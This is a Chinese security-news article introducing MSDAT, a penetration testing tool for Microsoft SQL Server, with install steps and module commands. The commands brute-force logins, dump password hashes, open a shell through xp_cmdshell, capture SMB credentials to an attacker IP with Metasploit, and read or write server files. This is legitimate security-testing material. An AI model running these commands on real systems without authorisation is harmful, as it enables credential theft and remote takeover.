freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

MSDAT:一款专门针对Microsoft SQL数据库的渗透测试工具
2018-07-25 15:00:59

今天给大家介绍的是一款名叫MSDAT(Microsoft SQL Database Attacking Tool)的工具,MSDAT是一款开源的渗透测试工具,研究人员可利用MSDAT来对Microsoft SQL数据库的安全性进行远程测试。

1.png

MSDAT使用场景:

有一个需要远程监听的Microsoft数据库,你想要找到可以用来跟这个数据库连接的有效凭证

你拿到了一个有效的连接凭证,你想要提升该账号的权限

你拿到了一个有效的连接凭证,你想要在托管该数据库的主机上执行命令(xp_cmdshell)

注:该工具已在Microsoft SQL Database 2005、2008和2012版本上成功测试。

功能介绍

在MSDAT的帮助下,你可以实现以下目标:

-在无需通过身份验证的情况下获取目标MSSQL数据库的技术信息(例如数据库版本);

-通过字典攻击搜索MSSQL账号;

-测试登录凭证;

-拿到数据库服务器的Windows shell(xp_cmdshell);

-远程下载/上传文件;

-获取SMB凭证;

-窃取MSSQL哈希密码;

-扫描数据库端口;

-远程执行SQL请求;

-获取主机文件/目录;

-创建文件夹;

工具安装

在运行MSDAT之前,你需要安装某些依赖组件。

Ubuntu:

sudo apt-get install freetds-dev

或直接从http://www.freetds.org/下载:

sudo pip install cython colorlog termcolor pymssql argparse
sudo pip install argcomplete && sudo activate-global-python-argcomplete

在freetds配置文件(/etc/freetds/freetds.conf或/usr/local/etc/freetds.conf)中添加"usentlmv2 = yes",例如:

[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

使用样例

获取所有模块:

./msdat.py -h

列举模块所有功能和选项(例如:all):

./msdat.py all -h

注:你可以使用“--test-module“选项来查看特定模块是否适用于目标MSSQL数据库。

all模块

all模块可以直接运行MSDAT的所有模块:

python msdat.py all -s $SERVER

下面命令可以实现:

-利用字典攻击测试帐号凭证;

-测试目标账号的密码;

-定义timeout值;

./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10--force-retry

注:在每一个模块中,你可以利用“--charset“选项来义所要使用的字符集。

mssqlinfo模块

在无需通过身份验证的情况下获取目标MSSQL数据库的技术信息:

./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

passwordguesser模块

这个模块可以搜索有效凭证:

./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE--force-retry –search

你还可以指定帐号文件:

./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt--force-retry

passwordstealer模块

导出哈希密码:

./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump--save-to-file test.txt

xpcmdshell模块

利用xpcmdshell模块执行系统命令:

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD –shell

如果没有启用xpcmdshell的话,你可以利用“--enable-xpcmdshell“来激活模块:

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell--disable-xpcmdshell --disable-xpcmdshell –shell

smbauthcapture模块

获取SMB凭证:

./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture$MY_IP_ADDRESS --share-name SHARE

你还可以配合Metasploit的auxiliary/server/capture/smb模块一起使用:

msf> use auxiliary/server/capture/smb
msfauxiliary(smb) > exploit

oleautomation模块

这个模块可以读写数据库服务器中存储的文件:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE--read-file 'C:\Users\Administrator\Desktop\temp.txt'

向目标文件远程写入字符串:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE--write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

文件下载:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file'C:\Users\Administrator\Desktop\temp.txt' temp.txt

文件上传:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-filetemp.txt 'C:\Users\Administrator\Desktop\temp.txt

其他

如需了解完整的模块使用方法,请直接访问MSDAT的【GitHub主页】以获取详细信息。

*参考来源:msdat,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

# 渗透测试 # MSDAT # SQL数据库
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者